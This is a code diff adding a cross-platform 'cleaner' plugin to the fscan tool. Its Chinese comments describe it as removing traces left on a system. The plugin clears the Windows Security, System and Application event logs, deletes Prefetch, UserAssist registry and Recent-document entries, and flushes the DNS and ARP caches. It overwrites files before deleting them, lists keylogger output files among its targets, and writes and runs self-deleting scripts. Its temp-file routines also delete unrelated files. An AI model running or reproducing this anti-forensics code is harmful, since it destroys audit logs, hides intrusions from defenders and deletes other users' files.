// cleanLinuxTempFiles 清理Linux临时文件
|
||||
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 临时目录
|
||||
tempDirs := []string{
|
||||
"/tmp",
|
||||
"/var/tmp",
|
||||
"/dev/shm",
|
||||
}
|
||||
|
||||
// 用户临时目录
|
||||
if homeDir := os.Getenv("HOME"); homeDir != "" {
|
||||
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
|
||||
tempFile := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件是否太新(可能正在使用)
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.Remove(tempFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, tempFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanUserCache 清理用户缓存
|
||||
func (p *CleanerPlugin) cleanUserCache() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 缓存目录
|
||||
cacheDirs := []string{
|
||||
filepath.Join(homeDir, ".cache"),
|
||||
filepath.Join(homeDir, ".local", "share"),
|
||||
}
|
||||
|
||||
for _, cacheDir := range cacheDirs {
|
||||
entries, err := os.ReadDir(cacheDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
entryPath := filepath.Join(cacheDir, entry.Name())
|
||||
entryName := strings.ToLower(entry.Name())
|
||||
|
||||
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
|
||||
if entry.IsDir() {
|
||||
if err := os.RemoveAll(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
p.cleanupStats["directories"]++
|
||||
}
|
||||
} else {
|
||||
if err := os.Remove(entryPath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, entryPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRecentFiles 清理最近访问文件记录
|
||||
func (p *CleanerPlugin) cleanRecentFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
homeDir := os.Getenv("HOME")
|
||||
if homeDir == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近文件记录路径
|
||||
recentPaths := []string{
|
||||
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
|
||||
filepath.Join(homeDir, ".recently-used"),
|
||||
filepath.Join(homeDir, ".gtk-bookmarks"),
|
||||
}
|
||||
|
||||
for _, recentPath := range recentPaths {
|
||||
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取并过滤文件内容
|
||||
content, err := os.ReadFile(recentPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
lines := strings.Split(string(content), "\n")
|
||||
var filteredLines []string
|
||||
removedCount := 0
|
||||
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToLower(line), "fscan") {
|
||||
removedCount++
|
||||
continue
|
||||
}
|
||||
filteredLines = append(filteredLines, line)
|
||||
}
|
||||
|
||||
if removedCount > 0 {
|
||||
newContent := strings.Join(filteredLines, "\n")
|
||||
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
|
||||
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 清理DNS缓存 (systemd-resolved)
|
||||
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
|
||||
// 尝试其他DNS清理方法
|
||||
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
|
||||
}
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache (systemctl)")
|
||||
}
|
||||
|
||||
// 清理ARP缓存
|
||||
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createUnixSelfDestruct 创建Unix自毁脚本
|
||||
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建shell自毁脚本
|
||||
shellScript := fmt.Sprintf(`#!/bin/bash
|
||||
sleep 2
|
||||
rm -f "%s" 2>/dev/null
|
||||
rm -f "$0" 2>/dev/null
|
||||
exit 0`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
|
||||
|
||||
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command("/bin/sh", scriptPath)
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createUnixSelfDestruct()
|
||||
}
|
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
@ -0,0 +1,359 @@
|
||||
//go:build windows
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理Windows系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Windows事件日志
|
||||
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
|
||||
cleaned = append(cleaned, eventLogs...)
|
||||
report["event_logs"] = eventLogs
|
||||
}
|
||||
|
||||
// 2. 清理预取文件
|
||||
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
|
||||
cleaned = append(cleaned, prefetchFiles...)
|
||||
report["prefetch_files"] = prefetchFiles
|
||||
}
|
||||
|
||||
// 3. 清理注册表痕迹
|
||||
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
|
||||
cleaned = append(cleaned, registryKeys...)
|
||||
report["registry_keys"] = registryKeys
|
||||
}
|
||||
|
||||
// 4. 清理最近文档记录
|
||||
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
|
||||
cleaned = append(cleaned, recentDocs...)
|
||||
report["recent_documents"] = recentDocs
|
||||
}
|
||||
|
||||
// 5. 清理Windows临时文件
|
||||
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanWindowsEventLogs 清理Windows事件日志
|
||||
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 尝试清理应用程序日志中的相关条目
|
||||
logs := []string{"Application", "System", "Security"}
|
||||
|
||||
for _, logName := range logs {
|
||||
// 使用wevtutil清理日志
|
||||
cmd := exec.Command("wevtutil", "cl", logName)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
|
||||
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanPrefetchFiles 清理预取文件
|
||||
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
prefetchDir := "C:\\Windows\\Prefetch"
|
||||
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 查找fscan相关的预取文件
|
||||
entries, err := os.ReadDir(prefetchDir)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
|
||||
return cleaned
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToUpper(entry.Name())
|
||||
if strings.Contains(filename, "FSCAN") {
|
||||
prefetchFile := filepath.Join(prefetchDir, entry.Name())
|
||||
if err := os.Remove(prefetchFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, prefetchFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRegistryTraces 清理注册表痕迹
|
||||
func (p *CleanerPlugin) cleanRegistryTraces() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 清理UserAssist注册表项
|
||||
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
|
||||
cleaned = append(cleaned, userAssist...)
|
||||
}
|
||||
|
||||
// 清理MRU(最近使用)记录
|
||||
if mru := p.cleanMRURegistry(); len(mru) > 0 {
|
||||
cleaned = append(cleaned, mru...)
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanUserAssistRegistry 清理UserAssist注册表
|
||||
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
|
||||
var cleaned []string
|
||||
|
||||
// UserAssist键路径
|
||||
keyPaths := []string{
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
|
||||
}
|
||||
|
||||
for _, keyPath := range keyPaths {
|
||||
// 查询注册表项
|
||||
cmd := exec.Command("reg", "query", keyPath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// 查找fscan相关条目并删除
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToUpper(line), "FSCAN") {
|
||||
// 提取值名称
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) > 0 {
|
||||
valueName := parts[0]
|
||||
|
||||
// 删除注册表值
|
||||
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
|
||||
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := delCmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
|
||||
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMRURegistry 清理MRU注册表记录
|
||||
func (p *CleanerPlugin) cleanMRURegistry() []string {
|
||||
var cleaned []string
|
||||
|
||||
// MRU键路径
|
||||
mruKeys := []string{
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
|
||||
}
|
||||
|
||||
for _, keyPath := range mruKeys {
|
||||
// 这里可以添加更复杂的MRU清理逻辑
|
||||
// 由于安全考虑,暂时只记录路径
|
||||
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRecentDocuments 清理最近文档记录
|
||||
func (p *CleanerPlugin) cleanRecentDocuments() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 获取用户目录
|
||||
userProfile := os.Getenv("USERPROFILE")
|
||||
if userProfile == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近文档目录
|
||||
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
|
||||
|
||||
entries, err := os.ReadDir(recentDir)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
|
||||
return cleaned
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
|
||||
recentFile := filepath.Join(recentDir, entry.Name())
|
||||
if err := os.Remove(recentFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, recentFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanWindowsTempFiles 清理Windows临时文件
|
||||
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 临时目录
|
||||
tempDirs := []string{
|
||||
os.Getenv("TEMP"),
|
||||
os.Getenv("TMP"),
|
||||
"C:\\Windows\\Temp",
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
if tempDir == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
|
||||
tempFile := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件是否太新(可能正在使用)
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.Remove(tempFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, tempFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理DNS缓存
|
||||
cmd := exec.Command("ipconfig", "/flushdns")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache")
|
||||
common.LogSuccess("已清理DNS缓存")
|
||||
}
|
||||
|
||||
// 2. 清理ARP缓存
|
||||
arpCmd := exec.Command("arp", "-d", "*")
|
||||
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := arpCmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createWindowsSelfDestruct 创建Windows自毁脚本
|
||||
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建批处理自毁脚本
|
||||
batchScript := fmt.Sprintf(`@echo off
|
||||
timeout /t 2 /nobreak > nul
|
||||
del /f /q "%s" 2>nul
|
||||
del /f /q "%%~f0" 2>nul
|
||||
exit`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
|
||||
|
||||
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command(scriptPath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createWindowsSelfDestruct()
|
||||
}
|
386
Plugins/local/cleaner/plugin.go
Normal file
386
Plugins/local/cleaner/plugin.go
Normal file
@ -0,0 +1,386 @@
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// CleanerPlugin 系统痕迹清理插件 - 跨平台支持
|
||||
type CleanerPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
|
||||
// 配置选项
|
||||
targetFiles []string // 要清理的文件列表
|
||||
cleanDirectories []string // 要清理的目录列表
|
||||
currentExecutable string // 当前执行文件路径
|
||||
workingDirectory string // 当前工作目录
|
||||
cleanupStats map[string]int // 清理统计
|
||||
}
|
||||
|
||||
// NewCleanerPlugin 创建系统痕迹清理插件
|
||||
func NewCleanerPlugin() *CleanerPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "cleaner",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "cleaner", "forensics", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &CleanerPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFiles: make([]string, 0),
|
||||
cleanDirectories: make([]string, 0),
|
||||
cleanupStats: make(map[string]int),
|
||||
}
|
||||
|
||||
// 支持所有主要平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 需要系统权限进行清理操作
|
||||
plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *CleanerPlugin) Initialize() error {
|
||||
common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS))
|
||||
|
||||
// 获取当前执行文件路径
|
||||
if exe, err := os.Executable(); err == nil {
|
||||
p.currentExecutable = exe
|
||||
common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe))
|
||||
}
|
||||
|
||||
// 获取当前工作目录
|
||||
if wd, err := os.Getwd(); err == nil {
|
||||
p.workingDirectory = wd
|
||||
common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd))
|
||||
}
|
||||
|
||||
// 扫描要清理的文件
|
||||
if err := p.scanCleanupTargets(); err != nil {
|
||||
return fmt.Errorf("扫描清理目标失败: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行系统痕迹清理任务
|
||||
func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogInfo("开始系统痕迹清理...")
|
||||
|
||||
// 执行清理操作
|
||||
cleanupReport, err := p.performCleanup(ctx)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "SystemCleaner",
|
||||
Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目",
|
||||
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]),
|
||||
Extra: map[string]interface{}{
|
||||
"platform": runtime.GOOS,
|
||||
"files_cleaned": p.cleanupStats["files"],
|
||||
"directories_cleaned": p.cleanupStats["directories"],
|
||||
"system_entries_cleaned": p.cleanupStats["system_entries"],
|
||||
"cleanup_report": cleanupReport,
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)",
|
||||
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]))
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// scanCleanupTargets 扫描要清理的目标
|
||||
func (p *CleanerPlugin) scanCleanupTargets() error {
|
||||
common.LogInfo("扫描清理目标...")
|
||||
|
||||
// 扫描当前目录下的fscan相关文件
|
||||
if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil // 忽略访问错误
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
filename := strings.ToLower(info.Name())
|
||||
|
||||
// 检查fscan相关文件
|
||||
if p.isFscanRelatedFile(filename) {
|
||||
p.targetFiles = append(p.targetFiles, path)
|
||||
common.LogDebug(fmt.Sprintf("发现清理目标: %s", path))
|
||||
}
|
||||
|
||||
return nil
|
||||
}); err != nil {
|
||||
common.LogError(fmt.Sprintf("扫描文件失败: %v", err))
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略
|
||||
func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool {
|
||||
// 严格的项目文件排除列表 - 确保不误删项目文件
|
||||
excludePatterns := []string{
|
||||
".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置
|
||||
".git", ".claude", ".idea", ".vscode", // 版本控制和IDE
|
||||
"dockerfile", "makefile", "license", "readme", // 项目文件
|
||||
"plugins", "common", "core", "webscan", // 核心目录
|
||||
"testdocker", // 测试配置
|
||||
".json", ".xml", // 配置文件
|
||||
}
|
||||
|
||||
// 检查是否为需要排除的文件
|
||||
for _, exclude := range excludePatterns {
|
||||
if strings.Contains(filename, exclude) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 只清理明确的输出和结果文件 - 非常保守的策略
|
||||
cleanPatterns := []string{
|
||||
"result.txt", // 默认扫描结果文件
|
||||
"results.txt", // 可能的结果文件
|
||||
"output.txt", // 输出文件
|
||||
"scan_result.txt", // 扫描结果
|
||||
"keylog.txt", // 键盘记录输出
|
||||
"my_keylog.txt", // 自定义键盘记录
|
||||
}
|
||||
|
||||
// 排除当前执行文件(稍后单独处理)
|
||||
if p.currentExecutable != "" {
|
||||
currentExeName := strings.ToLower(filepath.Base(p.currentExecutable))
|
||||
if filename == currentExeName {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 只清理明确匹配的输出文件
|
||||
for _, pattern := range cleanPatterns {
|
||||
if filename == pattern { // 精确匹配,不使用 Contains
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 清理明确的测试生成可执行文件(但保留源码)
|
||||
if strings.HasSuffix(filename, ".exe") {
|
||||
// 只清理包含特定测试标识的exe文件
|
||||
testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"}
|
||||
for _, pattern := range testPatterns {
|
||||
if strings.Contains(filename, pattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// performCleanup 执行清理操作
|
||||
func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 初始化统计
|
||||
p.cleanupStats["files"] = 0
|
||||
p.cleanupStats["directories"] = 0
|
||||
p.cleanupStats["system_entries"] = 0
|
||||
|
||||
// 1. 清理文件
|
||||
common.LogInfo("清理相关文件...")
|
||||
fileReport := p.cleanTargetFiles()
|
||||
report["file_cleanup"] = fileReport
|
||||
|
||||
// 2. 清理系统痕迹(平台特定)
|
||||
common.LogInfo("清理系统痕迹...")
|
||||
systemReport := p.cleanSystemTraces()
|
||||
report["system_cleanup"] = systemReport
|
||||
|
||||
// 3. 清理网络痕迹
|
||||
common.LogInfo("清理网络痕迹...")
|
||||
networkReport := p.cleanNetworkTraces()
|
||||
report["network_cleanup"] = networkReport
|
||||
|
||||
// 4. 最后清理自身(需要特殊处理)
|
||||
if p.currentExecutable != "" {
|
||||
common.LogInfo("准备清理自身...")
|
||||
selfReport := p.prepareSelfDestruction()
|
||||
report["self_cleanup"] = selfReport
|
||||
}
|
||||
|
||||
return report, nil
|
||||
}
|
||||
|
||||
// cleanTargetFiles 清理文件
|
||||
func (p *CleanerPlugin) cleanTargetFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
for _, file := range p.targetFiles {
|
||||
if err := p.secureDelete(file); err != nil {
|
||||
common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, file)
|
||||
p.cleanupStats["files"]++
|
||||
common.LogSuccess(fmt.Sprintf("已删除: %s", file))
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// secureDelete 安全删除文件(覆盖后删除)
|
||||
func (p *CleanerPlugin) secureDelete(filepath string) error {
|
||||
// 获取文件信息
|
||||
info, err := os.Stat(filepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 小文件进行覆盖删除
|
||||
if info.Size() < 10*1024*1024 { // 10MB以下
|
||||
if err := p.overwriteFile(filepath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err))
|
||||
}
|
||||
}
|
||||
|
||||
// 删除文件
|
||||
return os.Remove(filepath)
